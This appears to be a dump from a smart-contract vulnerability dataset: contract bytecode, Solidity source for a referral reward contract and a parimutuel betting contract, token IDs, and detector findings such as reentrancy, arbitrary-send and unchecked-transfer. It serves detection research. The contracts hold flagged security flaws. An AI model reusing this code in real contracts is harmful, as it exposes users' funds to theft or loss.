00a60009054906101000a900460ff1615151480156135cc575060001515600d60149054906101000a900460ff161515145b80156136275750600073ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b80156136825750600073ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b80156136dc5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b80156137365750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b1561374457613743614256565b5b61dead73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148061379457506000600660019054906101000a900461ffff1661ffff16145b156137a9576137a48686866143c6565b613a78565b600660059054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141580156138545750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b156138b45760075484106138b3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061508f6028913960400191505060405180910390fd5b5b60006138f16127106138e3600660019054906101000a900461ffff1661ffff168861413a90919063ffffffff16565b6141c090919063ffffffff16565b9050600061392f6064613921600660039054906101000a900461ffff1661ffff168561413a90919063ffffffff16565b6141c090919063ffffffff16565b90506000613946828461468090919063ffffffff16565b905080820183146139bf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f7472616e736665723a204275726e2076616c756520696e76616c69640000000081525060200191505060405180910390fd5b60006139d4848961468090919063ffffffff16565b90508381018814613a4d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f7472616e736665723a205461782076616c756520696e76616c6964000000000081525060200191505060405180910390fd5b613a5a8a61dead856143c6565b613a658a30846143c6565b613a708a8a836143c6565b809750505050505b505050505050565b6000838311158290613b2d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613af2578082015181840152602081019050613ad7565b50505050905090810190601f168015613b1f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082840390509392505050565b600080828401905083811015613bb8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613c65576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f42455032303a207a65726f20616464726573730000000000000000000000000081525060200191505060405180910390fd5b8060036000828254019250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015613d685750600081115b15613fc457600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614613e98576000601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611613e0b576000613e6f565b601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff168152602001908152602001600020600101545b90506000613e86848361468090919063ffffffff16565b9050613e9486848484614703565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614613fc3576000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611613f36576000613f9a565b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff168152602001908152602001600020600101545b90506000613fb18483613b3a90919063ffffffff16565b9050613fbf85848484614703565b5050505b5b505050565b6000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600061403884611900565b905082600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a4614134828483613d2c565b50505050565b60008083141561414d57600090506141ba565b600082840290508284828161415e57fe5b04146141b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806150b76021913960400191505060405180910390fd5b809150505b92915050565b6000808211614237576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b81838161424057fe5b04905092915050565b6000804690508091505090565b6001600d60146101000a81548160ff0219169083151502179055506000600660019054906101000a900461ffff1690506000600660016101000a81548161ffff021916908361ffff16021790555060006142af30611900565b905060006142bb612704565b90508082116142ca57816142cc565b805b9150600b548210614389576000600b54905060006142f46002836141c090919063ffffffff16565b9050600061430b828461468090919063ffffffff16565b9050600047905061431b83614997565b6000614330824761468090919063ffffffff16565b905061433c8382614c4b565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56184828560405180848152602001838152602001828152602001935050505060405180910390a150505050505b505080600660016101000a81548161ffff021916908361ffff160217905550506000600d60146101000a81548160ff021916908315150217905550565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561444c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614f476025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156144d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806151506023913960400191505060405180910390fd5b61453e8160405180606001604052806026815260200161512a60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a809092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506145d381600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b3a90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000828211156146f8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b818303905092915050565b6000614727436040518060600160405280602e81526020016150fc602e9139614dbb565b905060008463ffffffff161180156147bc57508063ffffffff16601060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b1561482d5781601060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff1681526020019081526020016000206001018190555061493a565b60405180604001604052808263ffffffff16815260200183815250601060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff1602179055506020820151816001015590505060018401601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051808381526020018281526020019250505060405180910390a25050505050565b6060600267ffffffffffffffff811180156149b157600080fd5b506040519080825280602002602001820160405280156149e05781602001602082028036833780820191505090505b50905030816000815181106149f157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015614a9357600080fd5b505afa158015614aa7573d6000803e3d6000fd5b505050506040513d6020811015614abd57600080fd5b810190808051906020019092919050505081600181518110614adb57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050614b4230600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684613275565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015614c06578082015181840152602081019050614beb565b505050509050019650505050505050600060405180830381600087803b158015614c2f57600080fd5b505af1158015614c43573d6000803e3d6000fd5b505050505050565b614c7830600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684613275565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b158015614d6457600080fd5b505af1158015614d78573d6000803e3d6000fd5b50505050506040513d6060811015614d8f57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050505050565b600064010000000083108290614e6c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015614e31578082015181840152602081019050614e16565b50505050905090810190601f168015614e5e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160008152509056fe6765745072696f72566f7465733a206e6f74207965742064657465726d696e6564616e74695768616c653a205472616e7366657220616d6f756e74206578636565647320746865206d61785472616e73666572416d6f756e747570646174654d61785472616e73666572416d6f756e74526174653a204d6178207472616e7366657220616d6f756e742072617465206d757374206e6f742065786365656420746865206d6178696d756d20726174652e42455032303a207472616e736665722066726f6d20746865207a65726f20616464726573737570646174654275726e526174653a204275726e2072617465206d757374206e6f742065786365656420746865206d6178696d756d20726174652e42455032303a20617070726f76652066726f6d20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373757064617465546f6b656e53776170526f757465723a20496e76616c6964207061697220616464726573732e42455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63657570646174655472616e73666572546178526174653a205472616e73666572207461782072617465206d757374206e6f742065786365656420746865206d6178696d756d20726174652e5472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f776f70657261746f723a2063616c6c6572206973206e6f7420746865206f70657261746f725f7772697465436865636b706f696e743a20626c6f636b206e756d6265722065786365656473203332206269747342455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737342455032303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f42455032303a20617070726f766520746f20746865207a65726f2061646472657373a264697066735822122060ac81f85d8c757df59e0195bbd3630908adfc72584484a9f849b7b2c5837d2864736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2094, 22610, 3401, 2683, 2683, 11387, 2629, 2546, 2581, 2546, 17788, 22610, 2575, 2620, 2487, 2546, 2683, 22907, 2063, 2581, 2278, 2546, 2683, 18939, 2692, 2497, 2094, 2509, 7011, 2278, 1013, 1008, 6160, 2000, 1002, 5980, 29346, 2057, 2031, 9292, 2098, 1996, 3206, 1997, 2412, 29346, 1998, 2580, 1037, 2062, 9084, 19204, 2170, 1000, 5980, 29346, 1000, 2006, 2169, 5271, 1010, 1996, 3206, 2097, 9495, 1037, 4965, 1998, 6402, 1996, 4149, 19204, 2015, 4526, 2019, 23760, 13366, 13490, 5649, 19204, 1012, 2023, 2003, 1037, 2451, 19204, 1012, 2061, 2045, 2003, 2053, 2880, 2177, 1012, 2065, 2619, 4122, 2000, 3443, 2028, 1010, 2074, 2079, 2115, 11845, 1999, 2060, 2967, 1010, 1998, 2059, 5323, 1037, 10465, 2177, 1012, 2045, 2003, 2069, 2028, 3149, 3405, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,858
0x95d4ab5b5b51d843d45bf4b335a4b95d6691e4f0
// Dependency file: @openzeppelin/contracts/math/SafeMath.sol // SPDX-License-Identifier: MIT // pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Root file: contracts/Mint/RefReward.sol pragma solidity ^0.6; // import "@openzeppelin/contracts/math/SafeMath.sol"; interface IRef { function scoreOf(address a) external view returns (uint256); } interface IERC20 { function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); } contract RefReward { using SafeMath for uint256; address public developer; uint8 public first_ratio = 10; mapping(address => uint256) public claimed; IRef public constant ref = IRef(0x08b8C77A770BbE8E19A8b2E7d90516F0ED7a6D57); IERC20 public constant token = IERC20( 0x2c4Cd2DeCa2397B12f0982eee383C56895dfD31b ); IERC20 public sgToken = IERC20(0x523EEAfdaC23FA2CB0C3873CdA4818cdc80e28E8); uint256 public sgTokenLimit = 10 * 1e18; modifier onlyDeveloper() { require(msg.sender == developer, "You're not developer"); _; } constructor() public { developer = msg.sender; } function claim() external { if (sgToken.balanceOf(msg.sender) >= sgTokenLimit) { uint256 score = ref.scoreOf(msg.sender); uint256 delta = score - claimed[msg.sender]; token.transfer(msg.sender, delta.mul(first_ratio).div(100)); claimed[msg.sender] = score; } } function setSgTokenLimit(uint256 _limit) external onlyDeveloper { sgTokenLimit = _limit; } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063ac66ea8d11610066578063ac66ea8d146100fe578063c884ef8314610106578063ca4b208b1461012c578063f099304c14610134578063fc0c546a1461015157610093565b806321a78f68146100985780632a934a32146100bc5780634e71d92d146100d65780638574e23f146100e0575b600080fd5b6100a0610159565b604080516001600160a01b039092168252519081900360200190f35b6100c4610171565b60408051918252519081900360200190f35b6100de610177565b005b6100e8610365565b6040805160ff9092168252519081900360200190f35b6100a0610375565b6100c46004803603602081101561011c57600080fd5b50356001600160a01b0316610384565b6100a0610396565b6100de6004803603602081101561014a57600080fd5b50356103a5565b6100a0610400565b7308b8c77a770bbe8e19a8b2e7d90516f0ed7a6d5781565b60035481565b600354600254604080516370a0823160e01b815233600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b1580156101c557600080fd5b505afa1580156101d9573d6000803e3d6000fd5b505050506040513d60208110156101ef57600080fd5b505110610363576040805163099d7a2b60e11b815233600482015290516000917308b8c77a770bbe8e19a8b2e7d90516f0ed7a6d579163133af45691602480820192602092909190829003018186803b15801561024b57600080fd5b505afa15801561025f573d6000803e3d6000fd5b505050506040513d602081101561027557600080fd5b5051336000818152600160205260408120549054929350830391732c4cd2deca2397b12f0982eee383c56895dfd31b9163a9059cbb916102d3906064906102c7908790600160a01b900460ff16610418565b9063ffffffff61047a16565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561032257600080fd5b505af1158015610336573d6000803e3d6000fd5b505050506040513d602081101561034c57600080fd5b505033600090815260016020526040902091909155505b565b600054600160a01b900460ff1681565b6002546001600160a01b031681565b60016020526000908152604090205481565b6000546001600160a01b031681565b6000546001600160a01b031633146103fb576040805162461bcd60e51b81526020600482015260146024820152732cb7ba93b932903737ba103232bb32b637b832b960611b604482015290519081900360640190fd5b600355565b732c4cd2deca2397b12f0982eee383c56895dfd31b81565b60008261042757506000610474565b8282028284828161043457fe5b04146104715760405162461bcd60e51b815260040180806020018281038252602181526020018061055a6021913960400191505060405180910390fd5b90505b92915050565b600061047183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836105435760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156105085781810151838201526020016104f0565b50505050905090810190601f1680156105355780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161054f57fe5b049594505050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220babeed376d705e7d1754f6c664900f692f81202fc367da1b3558d40627a4d45a64736f6c63430006000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2094, 2549, 7875, 2629, 2497, 2629, 2497, 22203, 2094, 2620, 23777, 2094, 19961, 29292, 2549, 2497, 22394, 2629, 2050, 2549, 2497, 2683, 2629, 2094, 28756, 2683, 2487, 2063, 2549, 2546, 2692, 1013, 1013, 24394, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 10236, 7347, 2058, 5024, 3012, 1005, 1055, 20204, 3136, 2007, 2794, 2058, 12314, 1008, 14148, 1012, 1008, 1008, 20204, 3136, 1999, 5024, 3012, 10236, 2006, 2058, 12314, 1012, 2023, 2064, 4089, 2765, 1008, 1999, 12883, 1010, 2138, 28547, 2788, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,859
0x95d4e8bfdff6e525e8d6f9ee57d375d8bd2e547d
pragma solidity ^0.4.24; // This contract is a fork of Dr. Todd Proebsting's parimutuel contract. https://programtheblockchain.com/posts/2018/05/08/writing-a-parimutuel-wager-contract/ // Additional gas guzzling shitcoding by Woody Deck. contract WhatDoesNadiaThink { address public owner; string public question; string public questionType; string public answerHash; bytes32[] public responses; uint256 public marketClosureTime; uint256 public timeout; uint256 public integrityFee; uint256 public integrityPercentage; uint256 public winningAnswer; uint256 public total; event AddressandAnswer(address indexed _from, uint256 indexed _result, uint _value); constructor(string _question, bytes32[] _responses, string _questionType, string _answerHash, uint256 _timeQuestionIsOpen) public payable { owner = msg.sender; question = _question; responses = _responses; marketClosureTime = now + _timeQuestionIsOpen; // The time in seconds that the market is open. After this time, the answer() function will revert all incoming transactions // until close() is executed by the owner. The frontend of the Dapp will check if the question is open for answer by seeing if the closure time has passed. Transacting // manually outside of the Dapp will mean you need to calculate this time yourself. timeout = now + _timeQuestionIsOpen + 1209600; // The contract function cancel() can be executed by anyone after 14 days after market closure (1,209,600 seconds is 14 days). // This is to allow for refunds if the answer is not posted in a timely manner. The market can still be resolved normally if the contract owner posts the result after // 14 days, but before anyone calls cancel(). questionType = _questionType; // Categories are art, fact, and opinion. answerHash = _answerHash; // Hash of correct answer to verify integrity of the posted answer. integrityPercentage = 5; // The market integrity fee (5% of the total) goes to the contract owner. It is to strongly encourage answer secrecy and fair play. The amount is about double what could be realistically stolen via insider trading without being easily detected forensically. winningAnswer = 1234; // Set initially to 1234 (all possible answers) so the frontend can recognize when the market is closed, but not yet resolved with an answer. The variable winningAnswer is purely statistical in nature. total = msg.value; // This contract version is payable so the market can be seeded with free Ether to incentivize answers. } enum States { Open, Resolved, Cancelled } States state = States.Open; mapping(address => mapping(uint256 => uint256)) public answerAmount; mapping(uint256 => uint256) public totalPerResponse; uint256 winningResponse; function answer(uint256 result) public payable { if (now > marketClosureTime) { revert(); // Prevents answers after the market closes. } require(state == States.Open); answerAmount[msg.sender][result] += msg.value; totalPerResponse[result] += msg.value; total += msg.value; require(total < 2 ** 128); // Avoid overflow possibility. emit AddressandAnswer(msg.sender, result, msg.value); } function resolve(uint256 _winningResponse) public { require(now > marketClosureTime && state == States.Open); // States of smart contracts are updated only when someone transacts with them. The answer function looks up the Unix time that is converted on the front end to see if the market is still open. The state doesn't change until resolved, so both cases must be true in order to use the resolve() function, otherwise the owner could resolve early or change the answer after. ' require(msg.sender == owner); winningResponse = _winningResponse; // This is the internally used integer, as arrays in Solidity start from 0. winningAnswer = winningResponse + 1; // Publically posts the correct answer. The '+ 1' addition is for the frontend and to avoid layman confusion with arrays that start from zero. if (totalPerResponse[winningResponse] == 0) { state = States.Cancelled; // If nobody bet on the winning answer, the market is cancelled, else it is resolved. Losing bets will be refunded. } else { state = States.Resolved; integrityFee = total * integrityPercentage/100; // Only collect the integrityFee if the market resolves. It would be a mess to take upfront in case of cancel() being executed. msg.sender.transfer(integrityFee); // The integrityFee goes to the owner. } } function claim() public { require(state == States.Resolved); uint256 amount = answerAmount[msg.sender][winningResponse] * (total - integrityFee) / totalPerResponse[winningResponse]; // Subtract the integrityFee from the total before paying out winners. answerAmount[msg.sender][winningResponse] = 0; msg.sender.transfer(amount); } function cancel() public { require(state != States.Resolved); require(msg.sender == owner || now > timeout); state = States.Cancelled; } function refund(uint256 result) public { require(state == States.Cancelled); uint256 amount = answerAmount[msg.sender][result]; // You have to manually choose which answer you bet on because every answer is now entitled to a refund. Please when manually requesting a refund outside of the Dapp that Answer 1 is 0, Answer 2 is 1, Answer is 3, and Answer 4 is 3 as arrays start from 0. There is nothing bad that happens if you screw this up except a waste of gas. answerAmount[msg.sender][result] = 0; msg.sender.transfer(amount); } }
0x6080604052600436106100fa5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041662f06a6a81146100ff57806302ed02171461012657806306f702951461013e578063113f7fdc1461014b578063278ecde11461017c5780632ddbd13a146101945780633fad9ae0146101a95780633fe057c3146102335780634e71d92d146102485780634f896d4f1461025d5780634fe12be8146102755780636597e0281461028a57806370dea79a1461029f5780638da5cb5b146102b4578063918feec8146102f2578063c735606014610307578063ea8a1af01461031c578063ed35d7e514610331575b600080fd5b34801561010b57600080fd5b50610114610349565b60408051918252519081900360200190f35b34801561013257600080fd5b5061011460043561034f565b610149600435610361565b005b34801561015757600080fd5b5061011473ffffffffffffffffffffffffffffffffffffffff6004351660243561041f565b34801561018857600080fd5b5061014960043561043c565b3480156101a057600080fd5b506101146104ad565b3480156101b557600080fd5b506101be6104b3565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101f85781810151838201526020016101e0565b50505050905090810190601f1680156102255780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023f57600080fd5b50610114610540565b34801561025457600080fd5b50610149610546565b34801561026957600080fd5b506101496004356105f4565